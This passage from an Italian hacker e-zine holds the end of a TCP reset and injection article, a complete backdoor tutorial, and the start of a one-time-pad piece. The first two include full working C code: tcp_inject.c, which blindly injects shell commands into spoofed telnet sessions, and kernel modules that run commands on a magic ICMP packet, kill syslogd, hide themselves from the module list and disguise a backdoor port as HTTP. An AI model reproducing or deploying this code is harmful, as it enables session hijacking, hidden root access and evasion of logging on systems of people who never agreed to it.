procedere al campionamento degli ISN. Il campionamento lo dobbiamo fare
sull'host che vogliamo spoofare nel nostro caso l'host 192.168.1.6.
Avviamo tcpdump sulla nostra macchina con le seguenti opzioni:

# tcpdump -nS

Poi lanciamo hping2 in modo tale da generare un pacchetto di richiesta
di connessione ogni 10 secondi ad una delle porte che risultano aperte,
nel nostro caso la 22:

# hping2 -S -i 10 -p 22 192.168.1.6


Torniamo al terminale sul quale e' in esecuzione tcpdump e prendiamo in
esame i valori degli ISN generati dall'host 192.168.1.6 in seguito alle
nostre richieste:

# tcpdump -nS
tcpdump: listening on eth0
21:09:07.732212 192.168.1.7.1040 > 192.168.1.6.22:
S 537892750:537892750(0) win 512
21:09:07.732431 192.168.1.6.22 > 192.168.1.7.1040:
S 2056347804:2056347804(0) ack 537892751 win 5840
21:09:07.732457 192.168.1.7.1040 > 192.168.1.6.22:
R 537892751:537892751(0) win 0

21:09:17.729905 192.168.1.7.1041 > 192.168.1.6.22:
S 2044483570:2044483570(0) win 512
21:09:17.730093 192.168.1.6.22 > 192.168.1.7.1041:
S 2066260198:2066260198(0) ack 2044483571 win 5840
21:09:17.730119 192.168.1.7.1041 > 192.168.1.6.22:
R 2044483571:2044483571(0) win 0
.
.
.

Appena sappiamo che i due host hanno stabilito una connessione possiamo
procedere eseguendo tcp_reset.c passandogli come sequence number di
partenza l'ultimo ISN campionato.

./a.out -s 192.168.1.6 -d 192.168.1.5 -p 2729 -q 23 -n 2066260198
-w 5700 -t 210000


Sappiamo che il numero di sequenza comunicato da 192.168.1.6 per la
nuova sessione sara' di poco superiore al valore precedentemente
campionato per via dell'algoritmo ad incrementi random positivi
utilizzato per la generazione degli ISN.

Come possiamo vedere in questo caso il tempo necessario per il reset
della sessione TCP e' di soli 26 secondi contro i 457 secondi nel caso
standard.

# time nc -l -p 23
? !"'
real 0m26.746s
user 0m0.010s
sys 0m0.000s


Come detto all'inizio del paragrafo questa tecnica e' applicabile
esclusivamente nel caso in cui l'attacker si trova nella condizione di
poter sapere piu' o meno quando verra' stabilita la sessione TCP che
desidera resettare.


9. Attacco di injection

Nell'advisory [5] che descrive i dettagli dell'attacco si puo' leggere:

"
Data injection may be possible. However, this has not been demonstrated
and appears to be problematic."

A mio avviso questo non e' del tutto vero, anche se un attacco di
injection risulta leggermente piu' complesso puo' essere portato a
termine con successo senza troppe difficolta'.
Se al posto dei pacchetti di reset inviamo dei pacchetti TCP con flag
PUSH settato contenenti un certo numero di byte di dati come payload e
siamo in grado di indovinare il sequence number corretto all'interno
della window allora siamo in grado di iniettare dati arbitrari nella
sessione TCP.

Osserviamo una tipica sessione telnet come appare dall'output di
tcpdump, l'host 192.168.1.6 stabilisce una connessione telnet con l'host
192.168.1.5:

17:28:08.453823 192.168.1.6.1035 > 192.168.1.5.23:
S 1954259839:1954259839(0) win 5840
17:28:08.453869 192.168.1.5.23 > 192.168.1.6.1035:
S 2222421761:2222421761(0) ack 1954259840 win 5792
17:28:08.454083 192.168.1.6.1035 > 192.168.1.5.23:
. ack 2222421762 win 5840
17:28:08.460539 192.168.1.6.1035 > 192.168.1.5.23:
P 1954259840:1954259864(24) ack 2222421762 win 5840
17:28:08.460590 192.168.1.5.23 > 192.168.1.6.1035:
. ack 1954259864 win 5792

Come possiamo vedere dall'ultimo pacchetto il prossimo numero di
sequenza atteso da 192.168.1.5 e' 1954259864 pertanto affinche' il
nostro pacchetto contenente i dati che desideriamo iniettare venga
considerato valido dovra' essere nel range di numeri di sequenza tra
1954259864 e 1954259864 + 5792.

Proviamo a iniettare 10 byte di caratteri 'a' usando come sequence
number 1954259864 + 10 che cade all'interno della finestra ma risulta
essere dieci numeri di sequenza piu' avanti rispetto a quello atteso:

17:30:11.615495 192.168.1.6.1035 > 192.168.1.5.23:
P 1954259874:1954259884(10) win 31337

L'altro host ci risponde con un ack 1954259864:

17:30:11.615549 192.168.1.5.23 > 192.168.1.6.1035:
. ack 1954259864 win 5792

questo vuol dire che il prossimo pacchetto che si aspettava di ricevere
avrebbe dovuto avere come sequence number 1954259864 e non quello che
abbiamo inviato noi.
Ad ogni modo il pacchetto malizioso visto che rientra nella window non
viene scartato bensi' viene memorizzato per dopo.

Non appena l'host 192.168.1.6 generera' almeno 10 byte di traffico il
nostro pacchetto verra' assemblato insieme al resto del flusso di dati:

17:31:04.928747 192.168.1.6.1035 > 192.168.1.5.23:
P 1954259864:1954259881(17) ack 2222421762 win 5840
17:31:04.928809 192.168.1.5.23 > 192.168.1.6.1035:
. ack 1954259884 win 5792

L'host 192.168.1.5 risponde con ack 1954259884 e NON ack 1954259881 come
ci si aspetterebbe. Questo e' perche' i dati che abbiamo inviato in
precedenza vengono assemblati dallo stack che conferma solo ora
l'avvenuta ricezione.

Ma come vengono assemblati i dati iniettati nello stack?
Ecco un semplice schema:



1954259864 1954259874
|__________|__________|

aaaaaaaaaa
bbbbbbbbbbbbbbbrn


La stringa composta da dieci caratteri 'a' e' quella che l'attacker ha
inviato indovinando per tantativi un numero di sequenza che cadesse
all'interno della window ovvero 1954259874.
La stringa composta da 15 caratteri 'b' un carriage return e un newline
e' una stringa inviata da 192.168.1.6 a 192.168.1.5.
Lo stack dell'host 192.168.1.5 riassembla i dati cos ricevuti in questo
modo:



1954259864 1954259874
|__________|__________|

bbbbbbbbbbbbbbbrnaaa


In poche parole si *mangia* alcuni caratteri del pacchetto inviato dall'
attacker dove i byte di dati si sovrappongono (spiegato dopo).

# nc -l -p 23
? !"
'bbbbbbbbbbbbbbb
aaa


A questo punto la sessione TCP entra in desync:

17:31:05.130479 192.168.1.6.1035 > 192.168.1.5.23:
P 1954259864:1954259881(17) ack 2222421762 win 5840
17:31:05.130526 192.168.1.5.23 > 192.168.1.6.1035:
. ack 1954259884 win 5792
17:31:05.550474 192.168.1.6.1035 > 192.168.1.5.23:
P 1954259864:1954259881(17) ack 2222421762 win 5840
17:31:05.550522 192.168.1.5.23 > 192.168.1.6.1035:
. ack 1954259884 win 5792
17:31:06.390473 192.168.1.6.1035 > 192.168.1.5.23:
P 1954259864:1954259881(17) ack 2222421762 win 5840
17:31:06.390520 192.168.1.5.23 > 192.168.1.6.1035:
. ack 1954259884 win 5792
17:31:08.070472 192.168.1.6.1035 > 192.168.1.5.23:
P 1954259864:1954259881(17) ack 2222421762 win 5840
17:31:08.070520 192.168.1.5.23 > 192.168.1.6.1035:
. ack 1954259884 win 5792
17:31:11.430475 192.168.1.6.1035 > 192.168.1.5.23:
P 1954259864:1954259881(17) ack 2222421762 win 5840
17:31:11.430521 192.168.1.5.23 > 192.168.1.6.1035:
. ack 1954259884 win 5792
17:31:18.150472 192.168.1.6.1035 > 192.168.1.5.23:
P 1954259864:1954259881(17) ack 2222421762 win 5840
17:31:18.150517 192.168.1.5.23 > 192.168.1.6.1035:
. ack 1954259884 win 5792

i due host non hanno piu' modo di comunicare ma i nostri dati sono stati
iniettati.
Rimane un problema. Come abbiamo visto quando lo stack riassembla il
flusso di dati alcuni byte che abbiamo iniettato vengono sovrascritti.
Immaginiamo uno scenario tipico in cui un attacker vuole iniettare il
comando date in una sessione telnet al fine di eseguirlo sulla macchina
target:



1954259864 1954259874
|__________|__________|

date
bbbbbbbbbbbbbbbrn


Una volta che l'host avra' riassemblato i pacchetti il comando verra' di
fatto sovrascritto:


1954259864 1954259874
|__________|__________|

bbbbbbbbbbbbbbbrn


Come puo' evitare che il comando venga sovrascritto?
Tutto cio' che si puo' fare e' ridurre al minimo le possibilita' che
esso venga sovrascritto, iniettiamo il comando preceduto da una sequenza
di altri caratteri che non ci servono e andranno sovrascritti e che allo
stesso non influiscano sull'esecuzione del nostro comando:



1954259864 1954259874
|__________|__________|

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa;date
bbbbbbbbbbbbbbbrn


La shell restituira' un errore e poi eseguira' il comando:


bash: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa: command not found
Wed May 26 18:39:00 UTC 2004


Se volessimo stimare i tempi necessari per portare a termine l'attacco
dovremmo eseguire gli stessi calcoli eseguiti in precedenza ma
considerando come grandezza del pacchetto 20 byte di IP header + 20 byte
di TCP header + i byte di dati da iniettare che costituiscono il
payload.


10. Codice Tcp Inject

/*
* tcp_inject.c: Proof of concept exploit that demonstrates a modified
* version of the attack described by Paul A. Watson in
* his paper "Slipping In The Window: TCP Reset Attacks"
* and try to inject arbitrary data in the tcp stream
*
* You need libnet 1.1.x
*
* Compile:
* gcc tcp_inject.c -o tcp_inject -lnet
*
* By: eazy <eazy@ondaquadra.org>
*/



#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <libnet.h>

#define CMD ";date\n" /* exploit telnet session */
#define CMD2 "\nWHOIS eazy\n" /* exploit irc session */

char nop[] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaa";

void
usage(char *prog)
{
fprintf(stderr,"Usage: %s -s <src ip> -d <dst ip> -p <src port>"
" -q <dst port> [-n <seq>] [-w <window size>] [-t <timeout>]\n"
"\t-s\tsource ip address\n"
"\t-d\tdestination ip address\n"
"\t-p\tsource port\n"
"\t-q\tdestination port\n"
"\t-n\tinitial sequence number (default random)\n"
"\t-w\twindow size (default 1000)\n"
"\t-t\tpacket timeout (default 10000)\n"
,prog);
exit(-1);
}

int
main(int argc, char **argv)
{
char payload[500];
int i, c, build_ip, opt, win = 1000, timeout = 10000,
payload_s;
unsigned short src_port = 0, dst_port = 0;
unsigned long src_ip = 0, dst_ip = 0, seq = 0;
libnet_t *l;
libnet_ptag_t tcp, ip;
struct libnet_stats stat;
char errbuf[LIBNET_ERRBUF_SIZE];

memset(&stat, 0, sizeof(stat));

if ((l = libnet_init(LIBNET_RAW4, NULL, errbuf)) == NULL) {
fprintf(stderr, "Libnet_init error: %s\n", errbuf);
exit(-1);
}
while ((opt = getopt(argc, argv, "s:d:p:q:n:w:t:h")) != -1)
switch (opt) {
case 's':
src_ip = libnet_name2addr4(l, optarg,
LIBNET_DONT_RESOLVE);
break;
case 'd':
dst_ip = libnet_name2addr4(l, optarg,
LIBNET_DONT_RESOLVE);
break;
case 'p':
src_port = atoi(optarg);
break;
case 'q':
dst_port = atoi(optarg);
break;
case 'n':
seq = strtoul(optarg, NULL, 0);
break;
case 'w':
win = atoi(optarg);
break;
case 't':
timeout = atoi(optarg);
break;
case 'h':
case '?':
usage(argv[0]);
}

if (optind < argc)
usage(argv[0]);

if (!src_ip || !dst_ip || !src_port || !dst_port)
usage(argv[0]);

if (!seq) {
libnet_seed_prand(l);
seq = libnet_get_prand(LIBNET_PRu32);
}

payload_s = snprintf(payload,sizeof(payload), "%s%s", nop, CMD);

for (tcp = LIBNET_PTAG_INITIALIZER, build_ip = 1;
seq < 4294967296 - win; seq += win) {

tcp = libnet_build_tcp(
src_port,/* source port */
dst_port,/* destination port */
seq, /* sequence number */
0, /* acknowledgement num */
TH_PUSH, /* control flags */
31337, /* window size */
0, /* checksum */
0, /* urgent pointer */
LIBNET_TCP_H + payload_s,
payload, /* payload */
payload_s,/* payload size */
l, /* libnet handle */
tcp); /* libnet id */

if (tcp == -1) {
fprintf(stderr, "Libnet_build_tcp error: %s\n",
libnet_geterror(l));
goto bad;
}
if (build_ip) {
build_ip = 0;
ip = libnet_build_ipv4(
LIBNET_IPV4_H + LIBNET_TCP_H +payload_s,
0, /* TOS */
666, /* IP ID */
0, /* IP Frag */
64, /* TTL */
IPPROTO_TCP, /* protocol */
0, /* checksum */
src_ip, /* source IP */
dst_ip, /* destination IP */
NULL, /* payload */
0, /* payload size */
l, /* libnet handle */
0); /* libnet id */

if (ip == -1) {
fprintf(stderr,
"Libnet_build_ipv4 error: %s\n",
libnet_geterror(l));
goto bad;
}
}
if ((c = libnet_write(l)) == -1) {
fprintf(stderr, "Libnet_write error: %s\n",
libnet_geterror(l));
goto bad;
}
for(i = 0; i < timeout; i++);
}

libnet_stats(l, &stat);
fprintf(stderr, "Packets sent: %d (%d bytes)\n"
"Packet errors: %d\n",
stat.packets_sent, stat.bytes_written,
stat.packet_errors);
libnet_destroy(l);
exit(0);

bad:
libnet_destroy(l);
exit(-1);
}


11. Riferimenti

[1] "Slipping In The Window: TCP Reset Attacks", Paul Watson
[2] "BGP Vulnerability Testing: Separating Fact from FUD", Convery&Franz
[3] "TCP/IP Illustrated, Volume 1: The Protocols", Richard Stevens
[4] "RFC 793, TRANSMISSION CONTROL PROTOCOL"
[5] http://www.uniras.gov.uk/vuls/2004/236929/index.htm


eazy <eazy(at)ondaquadra<dot>org>


:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::


.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.]
:: [O]nda[Q]uadra [0X0C] OQ20040615[0C] ::
:: [0x08][SECURiTY] PSEUD0 R00TSHELL WiTH iCMP_RCV() H00KiNG #2 [Evil] ::
[.]::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

---Sommario-------------------------------------------------------------

(Introduzione)
(Come funziona)
(Costruiamo il client)
(Costruiamo il filtro interno)
(Nascondere il lavoro)
(++Implementazioni)
(Conclusione)

---Introduzione---------------------------------------------------------

Ammettendo che il titolo di questo tutorial non trasmette nulla di
significante, quello che seguira' dopo questo primo pezzo di introduzione
e' un idea nata inizialmente per bisogno personale e trasformatasi in
idea pubblica, per cercare, trasmettendola ai meno esperti, di
introdurli al kernel hacking, e trasmettendolo agli altri per cercare
sostegno, critiche ed idee dagli stessi.

---Come funziona--------------------------------------------------------

il programma di mia invenzione crea una comunicazione tra l'utente
e la macchina remota, senza bisogno di aprire nessuna porta,
creando un dialogo di tipo


+------------+ +------------+ +------------+
| Client | --> | Filtro | --> | Interprete |
+------------+ +------------+ +------------+


Spieghiamo meglio, durante la ricezione di un pacchetto ICMP, viene
effettuata dal kernel una chiamata di sistema alla funzione icmp_rcv()
questa syscall appena ricevuto un pacchetto ne controlla il contenuto
l'integrita' e solo dopo lo passa ad eventuali passaggi successivi.
ecco il filtro non fa altro che andare ad hookare la
syscall icmp_rcv(), cambiandone il comportamento nella ricezione
di pacchetti ICMP, aggiungendo una specie di filtro, che all'arrivo
del pacchetto, controlla il codice code_no del pacchetto stesso, lo
confronta con dei codici MAGIC CODE da noi prestabiliti, e a
seconda del code ricevuto nel pacchetto, chiama l'interprete residente
in user space, via execve(), usando l'environment associato al magic
code, a quel punto l'interprete provvedera' ad eseguire l'azione
richiesta..
Il client in questo caso non fa nulla di difficile o importante,
il suo compito e' quello di mandare il pacchetto con il code_no
selezionabile da prompt, insomma automatizza e semplifica quello che
si potrebbe fare anche con un programma come hping..

Purtroppo al di la' dei suoi Pro, come il non tenere porte aperte,
non loggare le connessioni, e quindi mantenere il tutto perfettamente
anonimo, ha un suo Contro, che e' quello di limitare i comandi alle
potenzialita' dell'interprete, avremo quindi i privilegi di root,
ma non una bind shell nostra.
Ci si puo' comunque consolare per il fatto dell'assoluta anonimita',
anche via sniffer il nostro vero IP non verrebbe loggato, grazie
all'invio dell'icmp via raw socket, e quindi con la possibilita' di
spoofare l'indirizzo IP del mittente

---Costruiamo il client-------------------------------------------------

Come detto prima, per creare il client bastera', programmare un
icmp sender con l'uso delle raw socket, e far assumere da linea
di comando il destinatario, e il code_no del pachetto..

/* client part
*
* this is the client part of this program *based on spoofping
* it sends a personalized icmp packet to the remote system
* you can select the code_no and the relative action by
* the -c environment
* usage: ./client -h
*
* view the README for more information or visit www.eviltime.com
* coded by Evil
*
*/



#include <stdio.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <arpa/inet.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <time.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/udp.h>
#include <unistd.h>
#include <getopt.h>

#define VERSION "0.1"

extern char *optarg;
extern int optind, opterr, optopt;

struct ping_struct
{
struct sockaddr_in sin; /* socket prot structure */
int s; /* socket */
int psize; /* packet size */
int num; /* number of packets to send */
};
struct icmp_pkt
{
struct iphdr ip;
struct icmphdr icmp;
char *packet;
};

void usage(char *program);
int sendping(void);int create_socket(char *s_ipaddr);
int create_packet(char *d_ipaddr);
int send_packet(struct icmp_pkt *icmppkt, struct ping_struct *ping,char *d_ipaddr);
int getopt(int argc, char * const argv[], const char *optstring);
int getopt_long(int argc, char * const argv[],const char *optstring,const struct option *longopts, int *longindex);
int getopt_long_only(int argc, char * const argv[], const char *optstring,const struct option *longopts, int *longindex);


int on=1;
int icode_no;
struct sockaddr_in sock_in;
struct ping_struct ping;

int main(int argc, char *argv[])
{
int response; //response value
int i,k; //counter
int x,y;
char *s_ipaddr; //source ip address
char *d_ipaddr; //destination ip address
char c;
// verify Argument
if (argc < 2)
{
usage(argv[0]);
exit(-1);
}
// getting Argument
d_ipaddr = argv[1];
ping.num = 1;
ping.psize= 64;
optind = 3;
while ((c = getopt(argc, argv, "hlc:s:")) != -1)
{
switch(c)
{
case 's':
s_ipaddr=optarg;
break;
case 'c':
icode_no=optarg;
break;
case 'l':
printf("code_no: 20\tkill syslogd /(useful: before your connection/)\n");
break;
case 'h':
usage(argv[0]);
break;
}
}

printf("creating socket ... ");
// create socket
if ((ping.s=create_socket(s_ipaddr)) < 0)
{
perror("socket");
exit(-1);
}
printf("/(done/)\n");
printf("creating and sending packet ... ");
//create packet and sent it
printf("\n");
for (i = 1; i <= ping.num; i ++)
{
if ((response=create_packet(d_ipaddr)) != 1)
{
perror("create_packet() ");
}
fflush(stdout);
x= (i * 100) / ping.num ;
usleep(500000);
}
printf("/(done/)\n");
}

void usage(char *program) {
printf(" * client usage: %s <destination ip> -s <source ip>\n", program);
exit(-1);
}

int create_socket(char *s_ipaddr)
{
int val_sock;
// setting socket family
ping.sin.sin_family = AF_INET;
// socket port (0)
ping.sin.sin_port = htons(0);
// spoofing ip =)
ping.sin.sin_addr.s_addr = inet_addr(s_ipaddr);
// creating socket
if ((val_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW))<0)
{
perror("socket() ");
exit(-1);
}
// setting socket option
if (setsockopt(val_sock, IPPROTO_IP, IP_HDRINCL, (char *)&on,on) == -1)
{
perror("setsockopt() ");
exit(-1);
}
// return socket id
return(val_sock);
}

int create_packet(char *d_ipaddr)
{

struct icmp_pkt icmppkt;
int i;
int pktsize;
int hdrsize = (sizeof(icmppkt.ip) + sizeof(icmppkt.icmp));
int rtrn=1;

// setting packet size

if ((hdrsize) > ping.psize)
{
printf("header: %i\n",hdrsize);
printf("size : %i\n",ping.psize);
printf("spoofping() :packet too small\n");
exit(-1);
}
pktsize = (ping.psize - hdrsize) + 20;
icmppkt.packet = malloc(pktsize);
/* send it on its way */
send_packet(&icmppkt,&ping,d_ipaddr);
free(icmppkt.packet);
return(rtrn);
}

int send_packet(struct icmp_pkt *icmppkt, struct ping_struct *ping,char *d_ipaddr )
{
int len=strlen(icmppkt->packet);
int pkt_number;
int pktsize;
int hdrsize = (sizeof(icmppkt->ip) + sizeof(icmppkt->icmp));

struct icmp_pkt *tmpicmp;

/* fill in IP header */
icmppkt->ip.version = 4;
icmppkt->ip.ihl = 5;
icmppkt->ip.tos = 0;
icmppkt->ip.tot_len = htons(ping->psize);
icmppkt->ip.id = htons(getpid());
icmppkt->ip.frag_off = 0;
icmppkt->ip.ttl = 255;
icmppkt->ip.protocol = IPPROTO_ICMP;
icmppkt->ip.check = 0;
icmppkt->ip.saddr = ping->sin.sin_addr.s_addr;
icmppkt->ip.daddr = inet_addr(d_ipaddr);

/* fill in ICMP header */
icmppkt->icmp.type = ICMP_ECHO;
icmppkt->icmp.code = icode_no;
icmppkt->icmp.checksum = htons(~(ICMP_ECHO << 8));
pktsize = (ping->psize - hdrsize) + 20;

if (len <= 1480)
{
memset(icmppkt->packet,'A',pktsize);
if (sendto(ping->s, icmppkt,(hdrsize + pktsize), 0, (struct sockaddr *)&ping->sin, sizeof(struct sockaddr)) == -1)
{
perror("sendto() ");
exit(-1);
}
}
else
{
pkt_number=(int) div(len , 1480).quot;
fprintf(stderr,"fragmentation not supported\n");
exit(-1);
}

return(1);

}

---Costruiamo il filtro interno-----------------------------------------

Quindi possiamo costruire il filtro interno, nel quale pero' in questo
tutorial inseriro' un solo caso, i casi multipli, dovranno essere
inseriti da voi a seconda delle vostre esigenze..

/* filter part
*
* this is the filter part it checks for icmp sended by the client
*
* view the README for more information or visit www.eviltime.com
* coded by Evil
*
*/


#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>
#include <linux/skbuff.h>
#include <linux/in.h>
#include <linux/icmp.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <net/protocol.h>
#include <sys/syscall.h>
#include <asm/unistd.h>
#include <asm/fcntl.h>
#include <asm/uaccess.h>
#include <asm/errno.h>

#define MAGICCODE 20 // define the MAGICCODE number as icmp code_no

extern void* sys_call_table[];
extern void inet_add_protocol(struct inet_protocol *prot);
extern int inet_del_protocol(struct inet_protocol *prot);

int my_icmp_rcv(struct sk_buff *skb);

struct inet_protocol *original_icmp_protocol;
struct inet_protocol my_icmp_protocol = {
&my_icmp_rcv,
NULL,
NULL,
IPPROTO_ICMP,
0, // number of copies
NULL,
"ICMP" // name of the protocol
};


int my_icmp_rcv(struct sk_buff *skb)
{
static char * argv_init[MAX_INIT_ARGS+2] = { "-9", NULL, };
// first argoment
char * envp_init[MAX_INIT_ENVS+2] = { "syslogd", NULL, };
// and the second..

unsigned short int code_no;
long res;
code_no = skb->h.icmph->code;
if (code_no == MAGICCODE) {
// if the received packet haves code_no = 20
execve("/bin/kill", argv_init, envp_init);
// kill the syslogd
}

return (original_icmp_protocol->handler) ( skb );
}


int init_module(void)
{
inet_add_protocol(&my_icmp_protocol);
original_icmp_protocol = my_icmp_protocol.next;
inet_del_protocol(original_icmp_protocol);
return 0;
}

void cleanup_module()
{
inet_add_protocol(original_icmp_protocol);
inet_del_protocol(&my_icmp_protocol);
}


---Nascondere il lavoro-------------------------------------------------

Nascondere il tutto adesso risulta molto piu' facile del previsto,
bastera' creare un modulo per il kernel, che nasconda dalla lista
l'ultimo modulo caricato, ovvero il filtro..

/* cleaner part - used for hiding the last module loaded (filter) */

#define __KERNEL__
#define MODULE

#include <linux/kernel.h>
#include <linux/module.h>

int init_module()
{
if (__this_module.next)
__this_module.next = __this_module.next->next;
return 1;
}

int cleanup_module()
{
}

---Implementazioni------------------------------------------------------

Sotto questa base di programma, sono moltissime le idee che possono
saltare per la testa a qualunque smanettone.., qui ve ne propongo
alcune delle mie.
La prima consiste nella possibilita' di crearci una backdoor secondaria
con attivazione "on-the-fly", ovvero un programma esterno al modulo
creato in precedenza, che come una normalissima bk bindi /bin/sh ad
una determinata porta, il vantaggio e' dunque quello che questa
backdoor con prompt la attiviamo e la disattiviamo ogni volta che
vogliamo e quindi un punto di sicurezza in piu' per noi, e tutto
questo senza il pericolo di perdere l'accesso remoto..
il mio programma aggiuntivo consiste in 2 file (dot)c, uno e' la
backdoor e l'altro e' un modulo per il disguise locale della connessione,
ovviamente la backdoor non ce' bisogno di listarvela qui, se non avete
voglia di codarvene una, ce' qualche buon code su packetstormsecurity...

lcs.c(local connection spoofer)

/* lcs.c - kernel module for local connection spoofing
*
* an instrument to spoof the port, on a connection
* coded by Evil - www.eviltime.com
* don't work on kernel 2.6 series
* references: http://doc.linprj.org/coding/lkm/kernelandtcp.txt
*
* gcc -O6 -c cntspoofer.c -I/usr/src/linux-"version"/include
*/


#define MODULE
#define __KERNEL__

#include <linux/kernel.h>
#include <linux/config.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/if_ether.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/skbuff.h>
#include <linux/icmp.h>
#include <linux/mm.h>
#include <linux/file.h>
#include <linux/byteorder/generic.h>
#include <linux/netdevice.h>
#include <net/protocol.h>
#include <net/pkt_sched.h>
#include <net/tcp.h>
#include <net/ip.h>

#include <asm/uaccess.h>

#define FAKEPORT 80 // the fake port =) (http)
#define REALPORT 31337 // the real connection port (rootkit's backdoor)

struct device *d;
struct packet_type otp_proto;

__u32 in_aton(const char *);

int otp_func(struct sk_buff *skb, struct device *dev, struct packet_type *pkt_t) {

unsigned long int our_ip;
unsigned int syn = skb->h.th->syn;
unsigned int fin = skb->h.th->fin;

our_ip = in_aton(ip);

if ((skb->pkt_type == PACKET_HOST || skb->pkt_type == PACKET_OUTGOING)
&& (skb->h.th->source == REALPORT) || (skb->h.th->dest == REALPORT)) {
// se la porta di destinazione o quella sorgente, e' = REALPORT

if (skb->h.th->source == REALPORT) skb->h.th->source = htons(FAKEPORT);
// se e' la sorgente cambia il campo source con FAKEPORT
if (skb->h.th->dest == REALPORT) skb->h.th->dest = htons(FAKEPORT);
// se e' quella di destinazione cambia invece il campo dest

if (skb->h.th->fin == 1) {
skb->h.th->fin = 0;
skb->h.th->syn = 1;
kfree_skb(skb);
return 0;
}
if (skb->h.th->syn == 1) {
skb->h.th->fin = 1;
skb->h.th->syn = 0;
}
}
}

/* ascii string 2 ip */

__u32 in_aton(const char *str) {
unsigned long l;
unsigned int val;
int i;

l = 0;
for (i = 0; i < 4; i++) {
l <<= 8;
if (*str != '\0') {
val = 0;
while (*str != '\0' && *str != '.') {
val *= 10;
val += *str - '0';
str++;
}
l |= val;
if (*str != '\0')
str++;
}
}
return(htonl(l));
}

int init_module() {

if(!ip) {
return -ENXIO;
}

otp_proto.type = htons(ETH_P_ALL);
otp_proto.func = otp_func;
dev_add_pack(&otp_proto);

return(0);
}

void cleanup_module() {
dev_remove_pack(&otp_proto);
}


ora ci bastera' cambiare la stringa di richiamo nel modulo icmp_rcv();
-- execve("/bin/kill", argv_init, envp_init);
++ execve("./backdoor", argv_init, envp_init);
ed il gioco e' fatto..

un'altra idea sarebbe quella di implementare uno switch() nel modulo
base e creando una vera e propria lista di magic_codes assegnare con
i case le varie azioni ai relativi code_no ricevuti..
un altro buon uso di questo metodo di backdooring e' consultabile nel
mio code loggy-3.0 downloaddabile dal mio sito www.eviltime.com nella
sezione dello staff o altrimenti su
http://sourceforge.net/projects/loggy il metodo sta nell'usare loggy.c
il programma principale da remoto passando parametri autoassegnanti dal
modulo stesso, sfruttando le variabili dello struct di skbuff, vi
ricordo che per passare parametri ad un modulo del kernel abbiamo
bisogno dei module parm e di passare argomento var="stringa" alla
linea di comando standard.

Un altro piccolo accorgimento e' quello di creare un programma residente
in userspace, che permetta di modificare le configurazioni del modulo.
Il metodo piu usato per mettere in pratica quanto detto, e' quello di
creare una nuova syscall, implementarla dunque al nostro modulo
'target' e usandola nel programma userspace, comunicare al modulo
cosa si desidera' cambiare, (impostazioni, variabili, comportamento),
ovviamente creando un dialogo e quindi inserire un pezzo di codice
nel modulo per permettere di interpretare gli argomenti passati dal
programma in userspace.

Insomma le idee nascono tranquillamente e le applicazioni sono
moltissime basta un po' di inventiva e qualche conoscenza teorica e
pratica nella programmazione in C, Kernel moduling e una mezza idea
di come gira il mondo del networking.

---Conclusioni----------------------------------------------------------

Prima di concludere tenevo a far sapere, che i code rilasciati nel
tutorial sono tutti in forma base, quasi inutili direi, ricordate che
ce' possibilita' di aggiungere un interprete stand-alone, e code_no a
scelta multipla, facendo si che il filtro differenzi un code_no
dall'altro e passi i relativi environment all'interprete che svolgera
in seguito l'azione passata per argomento in linea di comando..
Concludo quindi augurandomi di aver spiegato il tutto in modo semplice
e comprensibile, per qualsiasi motivo mandate un
email a: webmaster@eviltime.com
e visitate www.eviltime.com per tenervi aggiornati sui miei lavori

------------------------------------------------------------------------


Evil <webmaster(at)eviltime<dot>com>
http://www.eviltime.com


:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::


.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.]
:: [O]nda[Q]uadra [0X0C] OQ20040615[0C] ::
:: [0x09][SECURiTY] ViRTUAL PRiVATE NETW0RK 0VER 0NE-TiME PAD [lesion] ::
[.]::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

- Intro -

Dopo tanta latitanza, rieccomi tra le pagine di ondaquadra.
nell'articolo ke segue, vi parlero' dell'unico algoritmo crittografico
perfetto, il one time pad. dopo alcuni cenni storici e una breve
spiegazione teorica condita con sorgenti, cerkero' di capirne i difetti
e i pregi.
in conclusione propongo una possibile implementazione reale di questo
semplicissimo algoritmo e allego un tool ke fa' il tutto.


- Brevissimi cenni storici -

Giusto per conoscenza/curiosita' lascio un'infarinatura storica
raccapezzata dal web.
L'algoritmo in questione, il one time pad, d'ora in poi otp, e' stato
"creato" nel 1917 da un certo signor Gilbert Verman (di cui ho trovato
poco e niente), e dimostrato l'unico sistema crittografico perfetto nel
1949 dal famoso Shannon (si, quello della teoria dell'informazione).
Un teorema di shannon afferma infatti: "In un sistema crittografico
perfetto la lunghezza della chiave deve essere almeno pari alla
lunghezza del testo in chiaro"
, e questo e' esattamente quello ke
